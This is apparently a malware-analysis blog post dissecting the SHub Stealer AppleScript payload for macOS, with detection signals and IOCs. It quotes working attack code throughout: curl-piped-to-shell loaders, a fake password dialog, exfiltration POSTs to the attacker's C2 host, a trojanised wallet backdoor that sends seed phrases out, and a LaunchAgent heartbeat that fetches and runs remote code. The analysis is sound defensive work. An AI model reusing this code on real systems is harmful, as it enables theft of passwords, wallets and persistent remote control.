Overview
The previous writeup documented the SHub Stealer campaign infrastructure the ClickFix lure, C2 fingerprint, and confirmed exfiltration endpoints. This post goes one layer deeper: a full source level analysis of payload.applescript, the second-stage payload retrieved directly from the attacker's C2 at boso6ka.com/debug/payload.applescript.
This is the file that does everything. The loader's only job is to fingerprint the victim and fetch this script. From there, payload.applescript runs unsupervised through eight distinct phases: evidence removal, credential harvest, browser collection, wallet collection, exfiltration, wallet backdoor injection, persistence installation, and decoy display.
The script self identifies on disk:
writeText("SHub Stealer (DEBUG)" & return, writemind & "info")The DEBUG tag in the build name is consistent across samples and suggests the operator's builder was still in active development at time of capture.
Where the Attack Chain Fell Apart
The operators designed this campaign around a specific assumption: that a fully dynamic execution chain is an analysis-proof chain. Nothing is static. Nothing lives on disk long enough to be scanned. Each stage is fetched live, executed in memory, and discarded. The lure fetches the loader. The loader fetches the payload. The payload fetches the wallet backdoors. The heartbeat fetches commands on demand. On paper — no artefacts, no static signatures, nothing to catch.
That assumption is where it went wrong.
The very first thing the ClickFix command does is encode the C2 URL in base64:
curl -kfsSL $(echo 'aHR0cHM6Ly9ib3NvNmthLmNvbS9kZWJ1Zy9sb2FkZXIuc2g/YnVpbGQ9NDhhNzZlNWVlNGViNzU3YzhkMzNmODJmNDZkZDVjZWI='|base64 -D)|zshBase64 encoding a URL is not obfuscation it is one of the most recognisable patterns in malicious terminal commands. Any analyst who sees base64 -D piped into a shell execution function knows exactly what they are looking at. The encoding that was supposed to hide the C2 domain is what made the command immediately suspicious enough to pull and analyse.
From there the chain unravelled itself. Because each stage was fetched from unauthenticated endpoints with paths embedded in the previous stage's source, getting loader.sh meant getting the path to payload.applescript. Getting payload.applescript meant getting every /gate/ endpoint path. Every /gate/ endpoint was publicly accessible without credentials. The dynamic chain did not prevent analysis — it handed over a complete map of the infrastructure in sequence.
GZIP + base64 encoding the loader was the same story. The encoding buys a few seconds of delay for automated scanners. It does not stop a human who's already suspicious from decoding it in one command:
echo '<blob>' | base64 -d | gunzipThe whole payload, in plaintext, in under a second.
The osascript stdin Technique
The loader delivers the second stage like this:
curl -s "https://boso6ka.com/debug/payload.applescript?build=$BUILDHASH" | osascriptLegitimate osascript invocations look like one of these:
osascript /path/to/script.applescript
osascript -e 'tell application "Finder" to...'In both cases the script content is visible in process telemetry — either as a file path in argv, or as a string in the -e argument. EDRs and ESF-based tools log argv on process execution. The script is inspectable.
When osascript reads from stdin, the argv is empty. The script content exists only as bytes flowing through a pipe buffer never a file, never an argument, never visible to anything that inspects process execution events. A multi-hundred-line infostealer runs with a process record that looks identical to someone typing osascript at a prompt and pressing enter.
The detection hook it does leave is the process tree: curl as direct parent of osascript with no file argument. That combination does not appear in legitimate macOS software. That parent-child relationship curl → osascript with empty argv — is the highest-fidelity detection signal in the entire delivery chain.
Phase 1 — Evidence Removal
try
do shell script "killall Terminal"
end tryFirst instruction in the script. No delay, no condition Terminal is killed immediately. The try/end try wrapper means it fails silently if Terminal is already closed. Every subsequent shell command in the payload follows the same pattern failures are caught, logged to a local debug file, and execution continues.
Phase 2 — Victim Profiling and Telemetry
Before any collection begins, the payload builds a full victim profile and beacons it to C2.
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/shub_" & randomNumber & "/"The staging directory is /tmp/shub_<7-digit-random>/ — randomised to avoid static path detection rules.
External IP resolution with three fallbacks:
set externalIP to do shell script "curl -s --max-time 5 \
$(echo 'aHR0cHM6Ly9hcGkuaXBpZnkub3Jn' | base64 -d) || \
curl -s --max-time 5 $(echo 'aHR0cHM6Ly9pY2FuaGF6aXAuY29t' | base64 -d) || \
echo 'Unknown'"Both URLs are base64-encoded — https://api.ipify.org and https://icanhazip.com — preventing static string detection.
CIS geofencing — the nuance:
-- Detect CIS (Russian layout) - we still detect but DON'T block
set isCIS to "false"
try
set cisCheck to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist \
AppleEnabledInputSources 2>/dev/null | grep -ci russian || echo 0"
if cisCheck is not equal to "0" then
set isCIS to "true"
end if
end tryThe comment is in the source: -- we still detect but DON'T block. isCIS is collected as a telemetry field and sent to the C2, but execution continues unconditionally. A Russian-keyboard victim who received this payload directly — bypassing the loader's gate — would be fully compromised.
Telemetry sequence:
payload_started → password_obtained / password_failed →
collecting_browsers → collecting_wallets →
data_collected → zip_sent / chunked_upload_startThe operator has real-time visibility into each victim's progress throughout execution.
Phase 3 — The Password Harvest Loop
on getpwd(username, writemind, provided_password)
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password \
-ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
writeText("NO_PASSWORD_REQUIRED", writemind & "Password")
return ""
end if
set attemptCount to 0
set maxAttempts to 10
repeat while attemptCount < maxAttempts and gotValidPassword is false
set attemptCount to attemptCount + 1
if attemptCount > 3 then
set dialogMsg to "Incorrect password. Please try again. (" & attemptCount & "/" & maxAttempts & ")"
else
set dialogMsg to "Required Application Helper. Please enter password for continue."
end if
set result to display dialog dialogMsg default answer "" with icon imagePath \
buttons {"Continue"} default button "Continue" giving up after 150 \
with title "System Preferences" with hidden answer
end repeat
end getpwdPassword-free login branch: If dscl . authonly succeeds with an empty password, the payload pivots to extracting the Chrome master password from the macOS Keychain and writes NO_PASSWORD_REQUIRED to the Password file.
Real-time validation:
on checkvalid(username, password_entered)
set result to do shell script "dscl . authonly " & \
quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
end checkvaliddscl . authonly is a legitimate macOS system utility. Its use here is entirely living-off-the-land — indistinguishable in telemetry from a legitimate administrative script.
UX degradation after 3 failures: The dialog text changes after three failed attempts to include the attempt counter (4/10), (5/10) — mimicking a real system lockout message.
Invalid attempts logged separately:
writeText("Attempt " & attemptCount & ": " & password_entered, writemind & "invalid_passwords.txt")Even failed attempts are collected and sent to the operator — useful for credential stuffing attempts elsewhere.
Phase 4 — Browser Collection Architecture
Chromium profile enumeration:
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or \
((currentItem as string) contains "Profile") then
-- collect from this profile
end if
end repeatEvery Chrome profile is processed. A victim with multiple Chrome profiles has all of them collected.
14 Chromium browsers targeted:
set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Orion", library & "Orion/"}}
set chromiumMap to chromiumMap & {{"Sidekick", library & "Sidekick/"}}
set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}
set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Coccoc", library & "CocCoc/Browser/"}}
set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}The ChromiumWallets() function hardcodes 102 browser extension IDs including MetaMask, Phantom, Coinbase Wallet, TronLink, Binance Chain Wallet, and Trust Wallet — scanning Local Extension Settings/ for each profile and copying matching extension directories wholesale.
Phase 5 — Desktop Wallet and System Collection
25 desktop wallet targets:
set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum", profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic", library & "atomic/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda", library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow", profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi", profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/wallets/"}}System data collected:
set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig").gitconfig frequently contains GitHub tokens and API keys stored by credential helpers. .zsh_history preserves plaintext commands including export AWS_SECRET_ACCESS_KEY=... — common patterns on developer machines.
File grabber:
set docExtensions to {"docx", "doc", "wallet", "key", "keys", "txt", "rtf", "csv", \
"xls", "xlsx", "json", "rdp"}find with -maxdepth 3 across Desktop and Documents, capped at 150MB total and 100 files per extension. The wallet and key extensions are explicitly targeted — plaintext seed phrase backups are a common habit among crypto users.
Telegram session files:
on Telegram(writemind, library)
set tgPath to library & "Telegram Desktop/tdata/"
repeat with tgFile in tgFiles
if isDirectory(tgFilePath) then
if (length of (tgFile as string)) is 16 then
GrabFolder(tgFilePath, tgFileSave)
end if
else
if (tgFile as string) ends with "s" and (length of (tgFile as string)) is 17 then
readwrite(tgFilePath, tgFileSave)
end if
if (tgFile as string) is "key_datas" then
readwrite(tgFilePath, tgFileSave)
end if
end if
end repeat
end TelegramUses length-based heuristics to identify session data directories rather than hardcoded filenames — more resilient to Telegram version changes.
Phase 6 — Exfiltration: Single Upload vs Chunked
set chunkThreshold to 85000000 -- 85MB
if folderSizeNum < chunkThreshold then
-- single ZIP upload
else
-- chunked multi-ZIP upload
end ifSingle upload (< 85MB):
curl -s -X POST "https://boso6ka.com/gate" \
-F 'file=@/tmp/shub_log.zip' \
-F 'key=15c1f07222c4441a0251e05d241ee3ef6697db7fa5ea8eaa64ef51e174e945b6' \
-F 'password=<victim_password>' \
-F 'buildtxd=948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236' \
-F 'has_valid_password=1' \
-F 'build_hash=48a76e5ee4eb757c8d33f82f46dd5c'Chunked path (≥ 85MB): The payload generates an inline bash script that bins top-level items into independent 70MB ZIP archives, each uploaded to boso6ka.com/gate/chunk with a shared chunk_session UUID for server-side reassembly.
Key fields in every upload:
| Field | Value | Purpose |
|---|---|---|
key | 15c1f07... | API authentication |
buildtxd | 948be3ba... | Build ID — links upload to campaign |
build_hash | 48a76e5ee4eb... | Lure page tracking ID |
has_valid_password | 0 or 1 | Operator triage flag |
password | plaintext | Login password if obtained |
The has_valid_password flag lets the operator immediately filter high-value logs (Keychain decryptable) from low-value ones (browser cookies only).
Phase 7 — app.asar Injection
set exodusPath to "/Applications/Exodus.app"
if (do shell script "test -d " & quoted form of exodusPath & " && echo 1 || echo 0") is "1" then
-- 1. Download trojanised asar from C2
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
-- 2. Kill the running app
do shell script "pkill -9 Exodus 2>/dev/null || true"
-- 3. Clone, remove, replace bundle (sidesteps permission issues)
do shell script "cp -rf " & quoted form of exodusPath & " /tmp/Exodus_tmp.app"
do shell script "rm -rf " & quoted form of exodusPath
do shell script "mv /tmp/Exodus_tmp.app " & quoted form of exodusPath
-- 4. Place malicious asar
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
-- 5. Strip quarantine and re-sign ad-hoc
do shell script "xattr -cr " & quoted form of exodusPath
do shell script "codesign -f -d -s - " & quoted form of exodusPath
end ifThe codesign -f -d -s - flag signs with an ad-hoc identity. macOS accepts ad-hoc signatures for applications not previously notarized. The xattr -cr strips the quarantine extended attribute before signing, preventing Gatekeeper from flagging the modified bundle on next launch.
The backdoor payload (from extracted src/wallet/index.js):
try {
fetch("https://wallets-gate.io/api/injection", {
method: "POST",
headers: {
'Content-Type': 'application/json',
'api-key': '<REDACTED>'
},
body: JSON.stringify({
password: t,
mnemonic: s.mnemonic.toString("utf8"),
buildid: "948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236",
app: "exodus"
})
})
} catch (e) {}This fires on every wallet unlock indefinitely, from any network, on any future date, until the wallet is reinstalled from a clean source. The catch (e) {} swallows all errors silently.
Phase 8 — Persistence
The heartbeat script is base64-encoded inline and written to disk at runtime:
#!/bin/bash
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" \
-H "Content-Type: application/json" \
-d "{\"bot_id\":\"$BOT_ID\",\"build_id\":\"$BUILD_ID\",\"hostname\":\"$HOSTNAME\",...}")
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
if [ -n "$CODE" ]; then
echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh
rm -f /tmp/.c.sh
fiBOT_ID is derived from IOPlatformUUID the hardware UUID, stable across reboots and macOS reinstalls. The code field in the heartbeat response is base64-decoded and executed at /tmp/.c.sh, then deleted — full on-demand RCE with no persistent second binary.
LaunchAgent:
<key>Label</key>
<string>com.google.keystone.agent</string>
<key>StartInterval</key>
<integer>60</integer>
<key>RunAtLoad</key>
<true/>
<key>StandardOutPath</key>
<string>/dev/null</string>com.google.keystone.agent is the label used by Google's legitimate Keystone auto-updater — present on any system with a Google product installed. The label collision is intentional. Both stdout and stderr go to /dev/null — no logs, no output.
Detection Opportunities
File system:
| Artefact | Path |
|---|---|
| Staging dir | /tmp/shub_<7digits>/ |
| Archive | /tmp/shub_log.zip |
| Chunk archives | /tmp/shub_mzip_*.zip |
| RCE dropper | /tmp/.c.sh |
| Heartbeat binary | ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate |
| LaunchAgent | ~/Library/LaunchAgents/com.google.keystone.agent.plist |
Process behaviour:
| Behaviour | Signal |
|---|---|
osascript spawned by curl or zsh | ESF process tree |
dscl . authonly from non-system parent | Unusual — directory services only |
codesign -f -d -s - targeting /Applications/ | Ad-hoc re-sign of installed app |
xattr -cr /Applications/*.app | Quarantine strip |
pkill -9 Exodus from non-user process | Wallet app killed by script |
Write to /Applications/*.app/Contents/Resources/app.asar | Non-installer write to app bundle |
Network:
boso6ka.com/api/debug/event telemetry — fires 6+ times per victim
boso6ka.com/gate exfiltration
boso6ka.com/gate/chunk chunked exfiltration
boso6ka.com/gate/*-asar wallet backdoor downloads
boso6ka.com/api/bot/heartbeat 60-second beacon, permanent
wallets-gate.io/api/injection seed phrase exfil on wallet unlockThe heartbeat is the highest-fidelity persistent indicator: regular 60-second POST requests from a process named GoogleUpdate to a non-Google domain.
Summary
SHub payload.applescript is a complete, production-quality infostealer written entirely in AppleScript with shell callouts. No compiled binaries — pure AppleScript and native macOS tooling. Every operation is wrapped in try/end try. Two exfiltration paths handle any collection size. The app.asar replacement survives the initial infection and compromises victims on every future wallet unlock. The heartbeat LaunchAgent provides permanent RCE via a label that blends with legitimate Google infrastructure.
The DEBUG build tag and the CIS comment left in source suggest this was captured mid-development. A cleaned production build would remove those strings, tightening the static detection surface further.
IOCs
| Indicator | Type |
|---|---|
boso6ka.com | C2 domain |
wallets-gate.io | Wallet exfil domain |
15c1f07222c4441a0251e05d241ee3ef6697db7fa5ea8eaa64ef51e174e945b6 | API key |
948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236 | Build ID |
48a76e5ee4eb757c8d33f82f46dd5ceb | Build hash |
com.google.keystone.agent | LaunchAgent label (malicious) |
/tmp/shub_*/ | Staging path pattern |
/tmp/.c.sh | Heartbeat RCE dropper |
SHub Stealer (DEBUG) | Self-identifier written to disk |